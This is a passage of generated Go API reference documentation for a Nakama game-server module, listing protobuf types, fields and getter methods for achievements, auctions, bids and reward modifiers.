	StartTimeSec int64 `protobuf:"varint,22,opt,name=start_time_sec,json=startTimeSec,proto3" json:"start_time_sec,omitempty"`
	// The UNIX timestamp when this achievement will allow updates. This may be before its next reset. A zero means it does not end.
	EndTimeSec int64 `protobuf:"varint,23,opt,name=end_time_sec,json=endTimeSec,proto3" json:"end_time_sec,omitempty"`
	// contains filtered or unexported fields
}

An achievement which is a numeric task which can be unlocked and has an optional reward.

func (*Achievement) Descriptor deprecated

func (*Achievement) Descriptor() ([]byte, []int)

Deprecated: Use Achievement.ProtoReflect.Descriptor instead.

func (*Achievement) GetAdditionalProperties

func (x *Achievement) GetAdditionalProperties() map[string]string

func (*Achievement) GetAutoClaim

func (x *Achievement) GetAutoClaim() bool

func (*Achievement) GetAutoClaimTotal

func (x *Achievement) GetAutoClaimTotal() bool

func (*Achievement) GetAutoReset

func (x *Achievement) GetAutoReset() bool

func (*Achievement) GetAvailableRewards

func (x *Achievement) GetAvailableRewards() *AvailableRewards

func (*Achievement) GetAvailableTotalReward

func (x *Achievement) GetAvailableTotalReward() *AvailableRewards

func (*Achievement) GetCategory

func (x *Achievement) GetCategory() string

func (*Achievement) GetClaimTimeSec

func (x *Achievement) GetClaimTimeSec() int64

func (*Achievement) GetCount

func (x *Achievement) GetCount() int64

func (*Achievement) GetCurrentTimeSec

func (x *Achievement) GetCurrentTimeSec() int64

func (*Achievement) GetDescription

func (x *Achievement) GetDescription() string

func (*Achievement) GetEndTimeSec

func (x *Achievement) GetEndTimeSec() int64

func (*Achievement) GetExpireTimeSec

func (x *Achievement) GetExpireTimeSec() int64

func (*Achievement) GetId

func (x *Achievement) GetId() string

func (*Achievement) GetMaxCount

func (x *Achievement) GetMaxCount() int64

func (*Achievement) GetName

func (x *Achievement) GetName() string

func (*Achievement) GetPreconditionIds

func (x *Achievement) GetPreconditionIds() []string

func (*Achievement) GetResetTimeSec

func (x *Achievement) GetResetTimeSec() int64

func (*Achievement) GetReward

func (x *Achievement) GetReward() *Reward

func (*Achievement) GetStartTimeSec

func (x *Achievement) GetStartTimeSec() int64

func (*Achievement) GetSubAchievements

func (x *Achievement) GetSubAchievements() map[string]*SubAchievement

func (*Achievement) GetTotalClaimTimeSec

func (x *Achievement) GetTotalClaimTimeSec() int64

func (*Achievement) GetTotalReward

func (x *Achievement) GetTotalReward() *Reward

func (*Achievement) ProtoMessage

func (*Achievement) ProtoMessage()

func (*Achievement) ProtoReflect

func (x *Achievement) ProtoReflect() protoreflect.Message

func (*Achievement) Reset

func (x *Achievement) Reset()

func (*Achievement) String

func (x *Achievement) String() string

type AchievementList

type AchievementList struct {

	// The one off achievements which can be progressed or are unlocked by the user alongside all on the server.
	Achievements map[string]*Achievement `` /* 165-byte string literal not displayed */
	// The repeat achievements which can be progressed or are unlocked by the user alongside all on the server.
	RepeatAchievements map[string]*Achievement `` /* 203-byte string literal not displayed */
	// contains filtered or unexported fields
}

The achievements returned by the server.

func (*AchievementList) Descriptor deprecated

func (*AchievementList) Descriptor() ([]byte, []int)

Deprecated: Use AchievementList.ProtoReflect.Descriptor instead.

func (*AchievementList) GetAchievements

func (x *AchievementList) GetAchievements() map[string]*Achievement

func (*AchievementList) GetRepeatAchievements

func (x *AchievementList) GetRepeatAchievements() map[string]*Achievement

func (*AchievementList) ProtoMessage

func (*AchievementList) ProtoMessage()

func (*AchievementList) ProtoReflect

func (x *AchievementList) ProtoReflect() protoreflect.Message

func (*AchievementList) Reset

func (x *AchievementList) Reset()

func (*AchievementList) String

func (x *AchievementList) String() string

type AchievementsClaimRequest

type AchievementsClaimRequest struct {

	// The set of achievement IDs to claim.
	Ids []string `protobuf:"bytes,1,rep,name=ids,proto3" json:"ids,omitempty"`
	// Whether or not to claim the total reward as well, if available.
	ClaimTotalReward bool `protobuf:"varint,2,opt,name=claim_total_reward,json=claimTotalReward,proto3" json:"claim_total_reward,omitempty"`
	// contains filtered or unexported fields
}

Claim rewards with one or more achievement on the server.

func (*AchievementsClaimRequest) Descriptor deprecated

func (*AchievementsClaimRequest) Descriptor() ([]byte, []int)

Deprecated: Use AchievementsClaimRequest.ProtoReflect.Descriptor instead.

func (*AchievementsClaimRequest) GetClaimTotalReward

func (x *AchievementsClaimRequest) GetClaimTotalReward() bool

func (*AchievementsClaimRequest) GetIds

func (x *AchievementsClaimRequest) GetIds() []string

func (*AchievementsClaimRequest) ProtoMessage

func (*AchievementsClaimRequest) ProtoMessage()

func (*AchievementsClaimRequest) ProtoReflect

func (x *AchievementsClaimRequest) ProtoReflect() protoreflect.Message

func (*AchievementsClaimRequest) Reset

func (x *AchievementsClaimRequest) Reset()

func (*AchievementsClaimRequest) String

func (x *AchievementsClaimRequest) String() string

type AchievementsConfig

type AchievementsConfig struct {
	Achievements map[string]*AchievementsConfigAchievement `json:"achievements,omitempty"`
}

AchievementsConfig is the data definition for the TutorialsSystem type.

type AchievementsConfigAchievement

type AchievementsConfigAchievement struct {
	AutoClaim            bool                                         `json:"auto_claim,omitempty"`
	AutoClaimTotal       bool                                         `json:"auto_claim_total,omitempty"`
	AutoReset            bool                                         `json:"auto_reset,omitempty"`
	Category             string                                       `json:"category,omitempty"`
	Count                int64                                        `json:"count,omitempty"`
	Description          string                                       `json:"description,omitempty"`
	StartTimeSec         int64                                        `json:"start_time_sec,omitempty"`
	EndTimeSec           int64                                        `json:"end_time_sec,omitempty"`
	ResetCronexpr        string                                       `json:"reset_cronexpr,omitempty"`
	DurationSec          int64                                        `json:"duration_sec,omitempty"`
	MaxCount             int64                                        `json:"max_count,omitempty"`
	Name                 string                                       `json:"name,omitempty"`
	PreconditionIDs      []string                                     `json:"precondition_ids,omitempty"`
	Reward               *EconomyConfigReward                         `json:"reward,omitempty"`
	TotalReward          *EconomyConfigReward                         `json:"total_reward,omitempty"`
	SubAchievements      map[string]*AchievementsConfigSubAchievement `json:"sub_achievements,omitempty"`
	AdditionalProperties map[string]string                            `json:"additional_properties,omitempty"`
}

type AchievementsConfigSubAchievement

type AchievementsConfigSubAchievement struct {
	AutoClaim            bool                 `json:"auto_claim,omitempty"`
	AutoReset            bool                 `json:"auto_reset,omitempty"`
	Category             string               `json:"category,omitempty"`
	Count                int64                `json:"count,omitempty"`
	Description          string               `json:"description,omitempty"`
	ResetCronexpr        string               `json:"reset_cronexpr,omitempty"`
	DurationSec          int64                `json:"duration_sec,omitempty"`
	MaxCount             int64                `json:"max_count,omitempty"`
	Name                 string               `json:"name,omitempty"`
	PreconditionIDs      []string             `json:"precondition_ids,omitempty"`
	Reward               *EconomyConfigReward `json:"reward,omitempty"`
	AdditionalProperties map[string]string    `json:"additional_properties,omitempty"`
}

type AchievementsGetRequest

type AchievementsGetRequest struct {
	// contains filtered or unexported fields
}

Get all achievements for the user alongside all on the server.

func (*AchievementsGetRequest) Descriptor deprecated

func (*AchievementsGetRequest) Descriptor() ([]byte, []int)

Deprecated: Use AchievementsGetRequest.ProtoReflect.Descriptor instead.

func (*AchievementsGetRequest) ProtoMessage

func (*AchievementsGetRequest) ProtoMessage()

func (*AchievementsGetRequest) ProtoReflect

func (x *AchievementsGetRequest) ProtoReflect() protoreflect.Message

func (*AchievementsGetRequest) Reset

func (x *AchievementsGetRequest) Reset()

func (*AchievementsGetRequest) String

func (x *AchievementsGetRequest) String() string

type AchievementsSystem

type AchievementsSystem interface {
	System

	// ClaimAchievements when one or more achievements whose progress has completed by their IDs.
	ClaimAchievements(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, achievementIDs []string, claimTotal bool) (achievements map[string]*Achievement, repeatAchievements map[string]*Achievement, err error)

	// GetAchievements returns all achievements available to the user and progress on them.
	GetAchievements(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string) (achievements map[string]*Achievement, repeatAchievements map[string]*Achievement, err error)

	// UpdateAchievements updates progress on one or more achievements by the same amount.
	UpdateAchievements(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, achievementUpdates map[string]int64) (achievements map[string]*Achievement, repeatAchievements map[string]*Achievement, err error)

	// SetOnAchievementReward sets a custom reward function which will run after an achievement's reward is rolled.
	SetOnAchievementReward(fn OnReward[*AchievementsConfigAchievement])

	// SetOnSubAchievementReward sets a custom reward function which will run after a sub-achievement's reward is
	// rolled.
	SetOnSubAchievementReward(fn OnReward[*AchievementsConfigSubAchievement])

	// SetOnAchievementTotalReward sets a custom reward function which will run after an achievement's total reward is
	// rolled.
	SetOnAchievementTotalReward(fn OnReward[*AchievementsConfigAchievement])
}

An AchievementsSystem is a gameplay system which represents one-off, repeat, preconditioned, and sub-achievements.

type AchievementsUpdateAck

type AchievementsUpdateAck struct {

	// The one off achievements which can be progressed or are unlocked by the user.
	Achievements map[string]*Achievement `` /* 165-byte string literal not displayed */
	// The repeat achievements which can be progressed or are unlocked by the user.
	RepeatAchievements map[string]*Achievement `` /* 203-byte string literal not displayed */
	// contains filtered or unexported fields
}

A response when an achievements update is acknowledged by the server.

func (*AchievementsUpdateAck) Descriptor deprecated

func (*AchievementsUpdateAck) Descriptor() ([]byte, []int)

Deprecated: Use AchievementsUpdateAck.ProtoReflect.Descriptor instead.

func (*AchievementsUpdateAck) GetAchievements

func (x *AchievementsUpdateAck) GetAchievements() map[string]*Achievement

func (*AchievementsUpdateAck) GetRepeatAchievements

func (x *AchievementsUpdateAck) GetRepeatAchievements() map[string]*Achievement

func (*AchievementsUpdateAck) ProtoMessage

func (*AchievementsUpdateAck) ProtoMessage()

func (*AchievementsUpdateAck) ProtoReflect

func (x *AchievementsUpdateAck) ProtoReflect() protoreflect.Message

func (*AchievementsUpdateAck) Reset

func (x *AchievementsUpdateAck) Reset()

func (*AchievementsUpdateAck) String

func (x *AchievementsUpdateAck) String() string

type AchievementsUpdateRequest

type AchievementsUpdateRequest struct {

	// The set of achievement IDs to progress.
	Ids []string `protobuf:"bytes,1,rep,name=ids,proto3" json:"ids,omitempty"`
	// The amount of progress to increment on the achievements.
	Amount int64 `protobuf:"varint,2,opt,name=amount,proto3" json:"amount,omitempty"`
	// Achievements with different amounts.
	Achievements map[string]int64 `` /* 166-byte string literal not displayed */
	// contains filtered or unexported fields
}

Update progress on one or more achievements on the server.

func (*AchievementsUpdateRequest) Descriptor deprecated

func (*AchievementsUpdateRequest) Descriptor() ([]byte, []int)

Deprecated: Use AchievementsUpdateRequest.ProtoReflect.Descriptor instead.

func (*AchievementsUpdateRequest) GetAchievements

func (x *AchievementsUpdateRequest) GetAchievements() map[string]int64

func (*AchievementsUpdateRequest) GetAmount

func (x *AchievementsUpdateRequest) GetAmount() int64

func (*AchievementsUpdateRequest) GetIds

func (x *AchievementsUpdateRequest) GetIds() []string

func (*AchievementsUpdateRequest) ProtoMessage

func (*AchievementsUpdateRequest) ProtoMessage()

func (*AchievementsUpdateRequest) ProtoReflect

func (*AchievementsUpdateRequest) Reset

func (x *AchievementsUpdateRequest) Reset()

func (*AchievementsUpdateRequest) String

func (x *AchievementsUpdateRequest) String() string

type ActiveRewardModifier

type ActiveRewardModifier struct {

	// The ID of the reward content to modify.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The type of reward content to modify.
	Type string `protobuf:"bytes,2,opt,name=type,proto3" json:"type,omitempty"`
	// The operator to apply.
	Operator string `protobuf:"bytes,3,opt,name=operator,proto3" json:"operator,omitempty"`
	// The value to apply. Its behavior depends on the operator.
	Value int64 `protobuf:"varint,4,opt,name=value,proto3" json:"value,omitempty"`
	// The start time when this reward modifier was activated.
	StartTimeSec int64 `protobuf:"varint,5,opt,name=start_time_sec,json=startTimeSec,proto3" json:"start_time_sec,omitempty"`
	// The time when this reward modifier will expire.
	EndTimeSec int64 `protobuf:"varint,6,opt,name=end_time_sec,json=endTimeSec,proto3" json:"end_time_sec,omitempty"`
	// contains filtered or unexported fields
}

A reward modifier that is currently active.

func (*ActiveRewardModifier) Descriptor deprecated

func (*ActiveRewardModifier) Descriptor() ([]byte, []int)

Deprecated: Use ActiveRewardModifier.ProtoReflect.Descriptor instead.

func (*ActiveRewardModifier) GetEndTimeSec

func (x *ActiveRewardModifier) GetEndTimeSec() int64

func (*ActiveRewardModifier) GetId

func (x *ActiveRewardModifier) GetId() string

func (*ActiveRewardModifier) GetOperator

func (x *ActiveRewardModifier) GetOperator() string

func (*ActiveRewardModifier) GetStartTimeSec

func (x *ActiveRewardModifier) GetStartTimeSec() int64

func (*ActiveRewardModifier) GetType

func (x *ActiveRewardModifier) GetType() string

func (*ActiveRewardModifier) GetValue

func (x *ActiveRewardModifier) GetValue() int64

func (*ActiveRewardModifier) ProtoMessage

func (*ActiveRewardModifier) ProtoMessage()

func (*ActiveRewardModifier) ProtoReflect

func (x *ActiveRewardModifier) ProtoReflect() protoreflect.Message

func (*ActiveRewardModifier) Reset

func (x *ActiveRewardModifier) Reset()

func (*ActiveRewardModifier) String

func (x *ActiveRewardModifier) String() string

type AfterAuthenticateFn

type AfterAuthenticateFn func(ctx context.Context, logger runtime.Logger, db *sql.DB, nk runtime.NakamaModule, session *api.Session) error

type Auction

type Auction struct {

	// Unique identifier for this auction.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// Identifier of the user that created this auction.
	UserId string `protobuf:"bytes,2,opt,name=user_id,json=userId,proto3" json:"user_id,omitempty"`
	// Item(s) being auctioned.
	Reward *AuctionReward `protobuf:"bytes,3,opt,name=reward,proto3" json:"reward,omitempty"`
	// Fees associated, to be deducted when the creator claims the winning bid.
	Fee *AuctionFee `protobuf:"bytes,4,opt,name=fee,proto3" json:"fee,omitempty"`
	// Version hash of this auction data, used to ensure operations act on latest known state.
	Version string `protobuf:"bytes,5,opt,name=version,proto3" json:"version,omitempty"`
	// Current highest bid, if any.
	Bid *AuctionBid `protobuf:"bytes,6,opt,name=bid,proto3" json:"bid,omitempty"`
	// Minimum next bid amount.
	BidNext *AuctionBidAmount `protobuf:"bytes,7,opt,name=bid_next,json=bidNext,proto3" json:"bid_next,omitempty"`
	// Auction duration in seconds, including any extensions.
	DurationSec int64 `protobuf:"varint,8,opt,name=duration_sec,json=durationSec,proto3" json:"duration_sec,omitempty"`
	// Original auction duration in seconds, not counting any extension time.
	OriginalDurationSec int64 `protobuf:"varint,9,opt,name=original_duration_sec,json=originalDurationSec,proto3" json:"original_duration_sec,omitempty"`
	// Additional time added so far to the original duration.
	ExtensionAddedSec int64 `protobuf:"varint,10,opt,name=extension_added_sec,json=extensionAddedSec,proto3" json:"extension_added_sec,omitempty"`
	// Threshold before end of auction where a bid would extend the time.
	ExtensionThresholdSec int64 `` /* 128-byte string literal not displayed */
	// Extra time that would be added if a bid is placed within the threshold before the auction ends.
	ExtensionSec int64 `protobuf:"varint,12,opt,name=extension_sec,json=extensionSec,proto3" json:"extension_sec,omitempty"`
	// Maximum total number of seconds the auction can be extended by.
	ExtensionMaxSec int64 `protobuf:"varint,13,opt,name=extension_max_sec,json=extensionMaxSec,proto3" json:"extension_max_sec,omitempty"`
	// Extra time still available.
	ExtensionRemainingSec int64 `` /* 128-byte string literal not displayed */
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the auction was created.
	CreateTimeSec int64 `protobuf:"varint,15,opt,name=create_time_sec,json=createTimeSec,proto3" json:"create_time_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the current bid was updated, for example by placing a new bid.
	UpdateTimeSec int64 `protobuf:"varint,16,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the auction starts.
	StartTimeSec int64 `protobuf:"varint,17,opt,name=start_time_sec,json=startTimeSec,proto3" json:"start_time_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the auction ends.
	EndTimeSec int64 `protobuf:"varint,18,opt,name=end_time_sec,json=endTimeSec,proto3" json:"end_time_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the auction was originally intended to end, not counting extensions.
	OriginalEndTimeSec int64 `protobuf:"varint,19,opt,name=original_end_time_sec,json=originalEndTimeSec,proto3" json:"original_end_time_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the auction was cancelled, if any.
	CancelTimeSec int64 `protobuf:"varint,20,opt,name=cancel_time_sec,json=cancelTimeSec,proto3" json:"cancel_time_sec,omitempty"`
	// The current UNIX time (for gRPC clients) or ISO string (for REST clients) on the server.
	CurrentTimeSec int64 `protobuf:"varint,21,opt,name=current_time_sec,json=currentTimeSec,proto3" json:"current_time_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the owner claimed the successful bid amount.
	OwnerClaimSec int64 `protobuf:"varint,22,opt,name=owner_claim_sec,json=ownerClaimSec,proto3" json:"owner_claim_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the winning bidder claimed the auction reward.
	WinnerClaimSec int64 `protobuf:"varint,23,opt,name=winner_claim_sec,json=winnerClaimSec,proto3" json:"winner_claim_sec,omitempty"`
	// Indicates if the auction has started from the server perspective.
	HasStarted bool `protobuf:"varint,24,opt,name=has_started,json=hasStarted,proto3" json:"has_started,omitempty"`
	// Indicates if the auction has ended from the server perspective.
	HasEnded bool `protobuf:"varint,25,opt,name=has_ended,json=hasEnded,proto3" json:"has_ended,omitempty"`
	// Indicates if the caller can bid on this auction.
	CanBid bool `protobuf:"varint,26,opt,name=can_bid,json=canBid,proto3" json:"can_bid,omitempty"`
	// Indicates if the caller can claim a reward from this auction, either the reward or winning bid.
	CanClaim bool `protobuf:"varint,27,opt,name=can_claim,json=canClaim,proto3" json:"can_claim,omitempty"`
	// Indicates if the auction can be cancelled by its creator.
	CanCancel bool `protobuf:"varint,28,opt,name=can_cancel,json=canCancel,proto3" json:"can_cancel,omitempty"`
	// First bid placed on this auction.
	BidFirst *AuctionBid `protobuf:"bytes,29,opt,name=bid_first,json=bidFirst,proto3" json:"bid_first,omitempty"`
	// Most recent set of bids placed on this auction, ordered from newest to oldest retained.
	BidHistory []*AuctionBid `protobuf:"bytes,30,rep,name=bid_history,json=bidHistory,proto3" json:"bid_history,omitempty"`
	// contains filtered or unexported fields
}

An individual auction listing.

func (*Auction) Descriptor deprecated

func (*Auction) Descriptor() ([]byte, []int)

Deprecated: Use Auction.ProtoReflect.Descriptor instead.

func (*Auction) GetBid

func (x *Auction) GetBid() *AuctionBid

func (*Auction) GetBidFirst

func (x *Auction) GetBidFirst() *AuctionBid

func (*Auction) GetBidHistory

func (x *Auction) GetBidHistory() []*AuctionBid

func (*Auction) GetBidNext

func (x *Auction) GetBidNext() *AuctionBidAmount

func (*Auction) GetCanBid

func (x *Auction) GetCanBid() bool

func (*Auction) GetCanCancel

func (x *Auction) GetCanCancel() bool

func (*Auction) GetCanClaim

func (x *Auction) GetCanClaim() bool

func (*Auction) GetCancelTimeSec

func (x *Auction) GetCancelTimeSec() int64

func (*Auction) GetCreateTimeSec

func (x *Auction) GetCreateTimeSec() int64

func (*Auction) GetCurrentTimeSec

func (x *Auction) GetCurrentTimeSec() int64

func (*Auction) GetDurationSec

func (x *Auction) GetDurationSec() int64

func (*Auction) GetEndTimeSec

func (x *Auction) GetEndTimeSec() int64

func (*Auction) GetExtensionAddedSec

func (x *Auction) GetExtensionAddedSec() int64

func (*Auction) GetExtensionMaxSec

func (x *Auction) GetExtensionMaxSec() int64

func (*Auction) GetExtensionRemainingSec

func (x *Auction) GetExtensionRemainingSec() int64

func (*Auction) GetExtensionSec

func (x *Auction) GetExtensionSec() int64

func (*Auction) GetExtensionThresholdSec

func (x *Auction) GetExtensionThresholdSec() int64

func (*Auction) GetFee

func (x *Auction) GetFee() *AuctionFee

func (*Auction) GetHasEnded

func (x *Auction) GetHasEnded() bool

func (*Auction) GetHasStarted

func (x *Auction) GetHasStarted() bool

func (*Auction) GetId

func (x *Auction) GetId() string

func (*Auction) GetOriginalDurationSec

func (x *Auction) GetOriginalDurationSec() int64

func (*Auction) GetOriginalEndTimeSec

func (x *Auction) GetOriginalEndTimeSec() int64

func (*Auction) GetOwnerClaimSec

func (x *Auction) GetOwnerClaimSec() int64

func (*Auction) GetReward

func (x *Auction) GetReward() *AuctionReward

func (*Auction) GetStartTimeSec

func (x *Auction) GetStartTimeSec() int64

func (*Auction) GetUpdateTimeSec

func (x *Auction) GetUpdateTimeSec() int64

func (*Auction) GetUserId

func (x *Auction) GetUserId() string

func (*Auction) GetVersion

func (x *Auction) GetVersion() string

func (*Auction) GetWinnerClaimSec

func (x *Auction) GetWinnerClaimSec() int64

func (*Auction) ProtoMessage

func (*Auction) ProtoMessage()

func (*Auction) ProtoReflect

func (x *Auction) ProtoReflect() protoreflect.Message

func (*Auction) Reset

func (x *Auction) Reset()

func (*Auction) String

func (x *Auction) String() string

type AuctionBid

type AuctionBid struct {

	// The user ID of the bidder.
	UserId string `protobuf:"bytes,1,opt,name=user_id,json=userId,proto3" json:"user_id,omitempty"`
	// Amount(s) placed as a bid.
	Bid *AuctionBidAmount `protobuf:"bytes,2,opt,name=bid,proto3" json:"bid,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the bid was placed.
	CreateTimeSec int64 `protobuf:"varint,3,opt,name=create_time_sec,json=createTimeSec,proto3" json:"create_time_sec,omitempty"`
	// contains filtered or unexported fields
}

Represents a bid on an auction.

func (*AuctionBid) Descriptor deprecated

func (*AuctionBid) Descriptor() ([]byte, []int)

Deprecated: Use AuctionBid.ProtoReflect.Descriptor instead.

func (*AuctionBid) GetBid

func (x *AuctionBid) GetBid() *AuctionBidAmount

func (*AuctionBid) GetCreateTimeSec

func (x *AuctionBid) GetCreateTimeSec() int64

func (*AuctionBid) GetUserId

func (x *AuctionBid) GetUserId() string

func (*AuctionBid) ProtoMessage

func (*AuctionBid) ProtoMessage()

func (*AuctionBid) ProtoReflect

func (x *AuctionBid) ProtoReflect() protoreflect.Message

func (*AuctionBid) Reset

func (x *AuctionBid) Reset()

func (*AuctionBid) String

func (x *AuctionBid) String() string

type AuctionBidAmount

type AuctionBidAmount struct {

	// Currencies required or placed as part of the bid.
	Currencies map[string]int64 `` /* 162-byte string literal not displayed */
	// contains filtered or unexported fields
}

Bid amount associated with an auction.

func (*AuctionBidAmount) Descriptor deprecated

func (*AuctionBidAmount) Descriptor() ([]byte, []int)

Deprecated: Use AuctionBidAmount.ProtoReflect.Descriptor instead.

func (*AuctionBidAmount) GetCurrencies

func (x *AuctionBidAmount) GetCurrencies() map[string]int64

func (*AuctionBidAmount) ProtoMessage

func (*AuctionBidAmount) ProtoMessage()

func (*AuctionBidAmount) ProtoReflect

func (x *AuctionBidAmount) ProtoReflect() protoreflect.Message

func (*AuctionBidAmount) Reset

func (x *AuctionBidAmount) Reset()

func (*AuctionBidAmount) String

func (x *AuctionBidAmount) String() string

type AuctionBidRequest

type AuctionBidRequest struct {

	// Unique auction identifier to bid on.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The last seen version hash of the auction.
	Version string `protobuf:"bytes,2,opt,name=version,proto3" json:"version,omitempty"`
	// Bid amounts to place, must at least match the minimum next bid.
	Bid *AuctionBidAmount `protobuf:"bytes,3,opt,name=bid,proto3" json:"bid,omitempty"`
	// contains filtered or unexported fields
}

Request to place a bid on an active auction.

func (*AuctionBidRequest) Descriptor deprecated

func (*AuctionBidRequest) Descriptor() ([]byte, []int)

Deprecated: Use AuctionBidRequest.ProtoReflect.Descriptor instead.

func (*AuctionBidRequest) GetBid

func (x *AuctionBidRequest) GetBid() *AuctionBidAmount

func (*AuctionBidRequest) GetId

func (x *AuctionBidRequest) GetId() string

func (*AuctionBidRequest) GetVersion

func (x *AuctionBidRequest) GetVersion() string

func (*AuctionBidRequest) ProtoMessage

func (*AuctionBidRequest) ProtoMessage()

func (*AuctionBidRequest) ProtoReflect

func (x *AuctionBidRequest) ProtoReflect() protoreflect.Message

func (*AuctionBidRequest) Reset

func (x *AuctionBidRequest) Reset()

func (*AuctionBidRequest) String

func (x *AuctionBidRequest) String() string

type AuctionCancel

type AuctionCancel struct {

	// Auction that was just cancelled.
	Auction *Auction `protobuf:"bytes,1,opt,name=auction,proto3" json:"auction,omitempty"`
	// Reward(s) that were successfully refunded to the original auction creator.
	Reward *AuctionReward `protobuf:"bytes,2,opt,name=reward,proto3" json:"reward,omitempty"`
	// contains filtered or unexported fields
}

Result of cancelling an auction.

func (*AuctionCancel) Descriptor deprecated

func (*AuctionCancel) Descriptor() ([]byte, []int)

Deprecated: Use AuctionCancel.ProtoReflect.Descriptor instead.

func (*AuctionCancel) GetAuction

func (x *AuctionCancel) GetAuction() *Auction

func (*AuctionCancel) GetReward

func (x *AuctionCancel) GetReward() *AuctionReward

func (*AuctionCancel) ProtoMessage

func (*AuctionCancel) ProtoMessage()

func (*AuctionCancel) ProtoReflect

func (x *AuctionCancel) ProtoReflect() protoreflect.Message

func (*AuctionCancel) Reset

func (x *AuctionCancel) Reset()

func (*AuctionCancel) String

func (x *AuctionCancel) String() string

type AuctionCancelRequest

type AuctionCancelRequest struct {

	// Unique auction identifier to cancel.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

Request to cancel an active auction.

func (*AuctionCancelRequest) Descriptor deprecated

func (*AuctionCancelRequest) Descriptor() ([]byte, []int)

Deprecated: Use AuctionCancelRequest.ProtoReflect.Descriptor instead.

func (*AuctionCancelRequest) GetId

func (x *AuctionCancelRequest) GetId() string

func (*AuctionCancelRequest) ProtoMessage

func (*AuctionCancelRequest) ProtoMessage()

func (*AuctionCancelRequest) ProtoReflect

func (x *AuctionCancelRequest) ProtoReflect() protoreflect.Message

func (*AuctionCancelRequest) Reset

func (x *AuctionCancelRequest) Reset()

func (*AuctionCancelRequest) String

func (x *AuctionCancelRequest) String() string

type AuctionClaimBid

type AuctionClaimBid struct {

	// Auction that was just claimed.
	Auction *Auction `protobuf:"bytes,1,opt,name=auction,proto3" json:"auction,omitempty"`
	// Reward(s) that were successfully claimed by the winning bidder.
	Reward *AuctionReward `protobuf:"bytes,2,opt,name=reward,proto3" json:"reward,omitempty"`
	// contains filtered or unexported fields
}

Result of claiming an auction as the winning bidder.

func (*AuctionClaimBid) Descriptor deprecated

func (*AuctionClaimBid) Descriptor() ([]byte, []int)

Deprecated: Use AuctionClaimBid.ProtoReflect.Descriptor instead.

func (*AuctionClaimBid) GetAuction

func (x *AuctionClaimBid) GetAuction() *Auction

func (*AuctionClaimBid) GetReward

func (x *AuctionClaimBid) GetReward() *AuctionReward

func (*AuctionClaimBid) ProtoMessage

func (*AuctionClaimBid) ProtoMessage()

func (*AuctionClaimBid) ProtoReflect

func (x *AuctionClaimBid) ProtoReflect() protoreflect.Message

func (*AuctionClaimBid) Reset

func (x *AuctionClaimBid) Reset()

func (*AuctionClaimBid) String

func (x *AuctionClaimBid) String() string

type AuctionClaimBidRequest

type AuctionClaimBidRequest struct {

	// Unique auction identifier to claim.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

Request to claim a successful auction by either the winning bidder.

func (*AuctionClaimBidRequest) Descriptor deprecated

func (*AuctionClaimBidRequest) Descriptor() ([]byte, []int)

Deprecated: Use AuctionClaimBidRequest.ProtoReflect.Descriptor instead.

func (*AuctionClaimBidRequest) GetId

func (x *AuctionClaimBidRequest) GetId() string

func (*AuctionClaimBidRequest) ProtoMessage

func (*AuctionClaimBidRequest) ProtoMessage()

func (*AuctionClaimBidRequest) ProtoReflect

func (x *AuctionClaimBidRequest) ProtoReflect() protoreflect.Message

func (*AuctionClaimBidRequest) Reset

func (x *AuctionClaimBidRequest) Reset()

func (*AuctionClaimBidRequest) String

func (x *AuctionClaimBidRequest) String() string

type AuctionClaimCreated

type AuctionClaimCreated struct {

	// Auction that was just claimed.
	Auction *Auction `protobuf:"bytes,1,opt,name=auction,proto3" json:"auction,omitempty"`
	// Reward(s) that were successfully claimed by the creator.
	Reward *AuctionBidAmount `protobuf:"bytes,2,opt,name=reward,proto3" json:"reward,omitempty"`
	// Fee(s) that were paid by the creator.
	Fee *AuctionBidAmount `protobuf:"bytes,3,opt,name=fee,proto3" json:"fee,omitempty"`
	// Items returned in the event of a failed auction.
	ReturnedItems []*InventoryItem `protobuf:"bytes,4,rep,name=returned_items,json=returnedItems,proto3" json:"returned_items,omitempty"`
	// contains filtered or unexported fields
}

Result of claiming an auction as the creator.

func (*AuctionClaimCreated) Descriptor deprecated

func (*AuctionClaimCreated) Descriptor() ([]byte, []int)

Deprecated: Use AuctionClaimCreated.ProtoReflect.Descriptor instead.

func (*AuctionClaimCreated) GetAuction

func (x *AuctionClaimCreated) GetAuction() *Auction

func (*AuctionClaimCreated) GetFee

func (*AuctionClaimCreated) GetReturnedItems

func (x *AuctionClaimCreated) GetReturnedItems() []*InventoryItem

func (*AuctionClaimCreated) GetReward

func (x *AuctionClaimCreated) GetReward() *AuctionBidAmount

func (*AuctionClaimCreated) ProtoMessage

func (*AuctionClaimCreated) ProtoMessage()

func (*AuctionClaimCreated) ProtoReflect

func (x *AuctionClaimCreated) ProtoReflect() protoreflect.Message

func (*AuctionClaimCreated) Reset

func (x *AuctionClaimCreated) Reset()

func (*AuctionClaimCreated) String

func (x *AuctionClaimCreated) String() string

type AuctionClaimCreatedRequest

type AuctionClaimCreatedRequest struct {

	// Unique auction identifier to claim.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

Request to claim a successful auction by either the creator.

func (*AuctionClaimCreatedRequest) Descriptor deprecated

func (*AuctionClaimCreatedRequest) Descriptor() ([]byte, []int)

